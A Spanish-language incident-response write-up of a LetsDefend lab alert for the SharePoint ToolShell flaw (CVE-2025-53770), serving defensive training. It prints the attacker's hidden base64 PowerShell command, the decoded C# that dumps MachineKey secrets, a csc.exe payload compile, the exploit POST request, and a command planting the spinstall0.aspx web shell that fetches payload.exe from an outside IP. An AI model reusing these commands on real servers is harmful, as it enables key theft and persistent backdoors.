
Guía paso a paso de la explotación de CVE-2025-53770 (ToolShell) en un laboratorio de LetsDefend, que cubre RCE, despliegue de web shell y análisis de respuesta a incidentes.
TL;DR Oye, en este laboratorio de LetsDefend me sumergí en un zero‑day de SharePoint llamado ToolShell (CVE‑2025‑53770). Básicamente, simulé un ataque real donde una petición POST maliciosa eludió la autenticación, ejecutó PowerShell para robar las claves de MachineKeySection, compiló payload.exe y dejó caer una web shell (spinstall0.aspx). Registré todo, analicé el comportamiento y contuve el host. Este README cubre el ataque, mis pasos y las lecciones aprendidas.
Herramientas utilizadas:


EventID: 320
Hora del evento: 22 de julio de 2025, 01:07 PM
Regla: SOC342 – CVE‑2025‑53770 SharePoint ToolShell Bypass de autenticación y RCE
Nivel: Analista de seguridad
Hostname: SharePoint01
Dirección IP de origen: 107.191.58.76
Dirección IP de destino: 172.16.20.17
Método de solicitud HTTP: POST
URL solicitada: /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
User‑Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Content‑Length: 7699
Motivo de activación de la alerta: Petición POST no autenticada sospechosa dirigida a ToolPane.aspx con un tamaño de payload grande y referer falsificado, indicativo de explotación de CVE‑2025‑53770.
Acción del dispositivo: Permitido
El 22 de julio de 2025, nuestro monitoreo de seguridad detectó un ataque crítico de día cero contra una instancia local de SharePoint Server llamada SharePoint01.
Detalles del CVE:
Catálogo KEV de CISA: Entrada publicada el 20 de julio de 2025
Vector de ataque: Petición POST al endpoint /ToolPane.aspx, cabecera referer falsificada, payload malicioso grande
Origen: IP 107.191.58.76, Vultr Holdings, LLC, EE.UU.
Microsoft SharePoint es la columna vertebral de la colaboración empresarial y la gestión documental. Es esencialmente un espacio seguro y organizado, similar a la nube, para archivos, flujos de trabajo y aplicaciones internas.
Usos principales:
Consideraciones de seguridad:
CVE‑2025‑53770, también llamado ToolShell, es un zero‑day de SharePoint explotado activamente. Es una vulnerabilidad crítica de deserialización en servidores SharePoint locales de Microsoft que permite ejecución remota de código (RCE) sin autenticación. Se encadena con otras fallas de SharePoint (CVE‑2025‑49704 y CVE‑2025‑49706) para comprometer completamente los sistemas. Tiene una puntuación CVSS de 9.8, lo que significa que es crítica.
Suben web shells maliciosas como spinstall0.aspx a través del endpoint ToolPane.aspx utilizando cabeceras referer falsificadas para eludir la autenticación.
Extraen valores críticos de MachineKey de la configuración de SharePoint para generar payloads ViewState de confianza y obtener acceso persistente.
Más tarde despliegan ransomware (por ejemplo, la cepa "Warlock") o exfiltran credenciales y establecen puertas traseras.
Primera divulgación pública: 19 de julio de 2025 (blog de Microsoft)
Parches publicados: 20–21 de julio de 2025
Entrada en el catálogo KEV de CISA: 20 de julio de 2025
Analicé la dirección IP del remitente (Dirección IP de origen) en VirusTotal.
Dirección IP de origen: 107.191.58.76

Con esto ya sé que la IP es maliciosa.
Ahora tengo que buscar la ubicación de la IP con la ayuda de AbuseIPDB.

Esto es lo que obtuve:
ISP: Vultr Holdings, LLC
Tipo de uso: Centro de datos/Alojamiento web/Tránsito
ASN: AS20473
Nombre(s) de host: 107.191.58.76.vultrusercontent.com
Nombre de dominio: vultr.com
País: Estados Unidos de América
Ciudad: Los Ángeles, California
IP conocida por hacking, fuerza bruta, ataque a aplicaciones web, escaneo de puertos, envenenamiento DNS
Cómo lo abordé: Primero busqué el host en la seguridad de endpoints con el nombre "SharePoint01".

Después de localizar el host, fui al historial de terminal y encontré una línea de comandos:
""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="

¿Qué está pasando en el comando?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ Lanza PowerShell directamente desde el directorio del sistema.
-nop
→ Sin perfil — ignora los scripts de perfil de PowerShell para evitar detección o interferencias.
-w hidden
→ Se ejecuta con una ventana oculta para que el usuario no la vea.
-e <BASE64>
Vamos a decodificarlo:
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
Paso 1: Reconocimiento y captura del payload
Capturada petición POST a /ToolPane.aspx:
POST /_layouts/15/ToolPane.aspx HTTP/1.1
Host: sharepoint01.lab
Content-Type: application/x-www-form-urlencoded
Content-Length: 1452
Referer: http://sharepoint01.lab/_layouts/15/settings.aspx
User-Agent: Mozilla/5.0
Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
Paso 2: Ejecución y explotación:
Procedí a decodificar el script/payload en un decodificador Base64.
Decodificado con base64 y obtuve esto:
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

Deja que explique qué hace el script anterior:
Importa:
Y luego ejecuta un script C# en línea dentro de PowerShell que:
El atacante continuó enviando este comando a continuación:
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
Siguiente línea de comando del atacante:
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Qué hace:
"C:\Windows\System32\cmd.exe" /c – Ejecuta el siguiente comando en el Símbolo del sistema y luego termina.
echo <form runat=\"server\"> ... </form> – Escribe un pequeño fragmento de marcado ASP.NET que se ejecutará en el servidor SharePoint.
El marcado contiene:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
Este CLSID es el control ActiveX Shell (usado para ejecutar comandos de shell o realizar acciones especiales en contexto IE/COM).
<param name="Command" value="Redirect">
Esto le dice al objeto qué acción realizar.
<param name="Url" value="http://107.191.58.76/payload.exe">
Apunta a un EXE malicioso alojado en un servidor remoto — muy probablemente su malware real.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx
Guarda todo ese objeto HTML/ASP.NET malicioso como spinstall0.aspx dentro de la carpeta layouts de SharePoint.
Cualquier archivo en esta carpeta puede ser accedido navegando a la URL correcta en el sitio de SharePoint, lo que significa que el atacante ahora tiene una página web en tu servidor que desencadena la acción maliciosa.
Siguiente línea de comando del atacante:
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
De nuevo, qué hace:
"C:\Windows\System32\cmd.exe" /c – Ejecuta el siguiente comando en el Símbolo del sistema y luego termina.
echo <form runat=\"server\"> ... </form> – Escribe un pequeño fragmento de marcado ASP.NET que se ejecutará en el servidor SharePoint.
Y también:
El marcado contiene:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
(Explicación igual que arriba)
<param name="Command" value="Redirect">
(Explicación igual que arriba)
<param name="Url" value="http://107.191.58.76/payload.exe">
(Explicación igual que arriba)
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx
(Explicación igual que arriba)
Las líneas de comando que encontré están abajo:


Después de confirmar que esto es riesgoso, procedí a explorar los procesos en el host.
Parece sospechoso, lleno de muchas rutas de archivos y exes.
Solo por curiosidad, fui a la gestión de logs y busqué la IP maliciosa en los logs.
Vi un log en bruto con una petición POST:
" POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1" and "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
con un referer – /_layouts/SignOut.aspx
Procedí a comprobar si el ataque tuvo éxito.
¿Sabes qué? Sí lo tuvo, así que ahora tengo que contenerlo para SOC2.
Esta es mi nota de analista:
Detectamos un ataque crítico que explotaba una vulnerabilidad de día cero llamada ToolShell (CVE‑2025‑53770) en un servidor SharePoint local llamado SharePoint01. El atacante, desde una IP maliciosa conocida (107.191.58.76), envió una petición POST no autenticada con un payload enorme a un endpoint de SharePoint (ToolPane.aspx), eludiendo la autenticación para ejecutar código remoto en el servidor.
Al profundizar, el atacante ejecutó comandos ocultos de PowerShell que decodificaban scripts en base64 para robar valores sensibles de MachineKey de SharePoint, permitiéndoles crear payloads de confianza. Compilaron un ejecutable malicioso en el host, luego plantaron una web shell (spinstall0.aspx) en la carpeta layouts de SharePoint que descarga y ejecuta malware desde su servidor, otorgando acceso persistente de puerta trasera.
Después de confirmar el compromiso, contuvimos el host afectado y recomendamos parcheo inmediato, ya que las correcciones se publicaron solo días antes. También estamos escaneando en busca de otras web shells, monitoreando ransomware o robo de datos, y aconsejando medidas de seguridad más estrictas en torno a los servidores SharePoint para prevenir daños mayores.
Y la nota para el equipo:
Nota para el equipo: Hola equipo, detectamos una explotación crítica del zero‑day ToolShell (CVE‑2025‑53770) en nuestro servidor SharePoint (SharePoint01). Un atacante utilizó una petición POST no autenticada para eludir la autenticación y ejecutar código remoto, comenzando con un payload grande y sospechoso dirigido a ToolPane.aspx.
El atacante ejecutó comandos ocultos de PowerShell para robar claves sensibles de máquina de SharePoint, luego compiló y dejó caer un ejecutable malicioso en el sistema. También crearon una web shell (spinstall0.aspx) en la carpeta layouts de SharePoint, que descarga y ejecuta malware desde un servidor externo, potencialmente dándoles control persistente.
Contuvimos el host comprometido y recomendamos parcheo urgente, ya que las correcciones se publicaron recientemente. También estamos escaneando en busca de web shells similares y monitoreando signos de ransomware o exfiltración de datos. Mantengámonos alerta y reforcemos la seguridad de SharePoint de cara al futuro.
Este es mi resultado
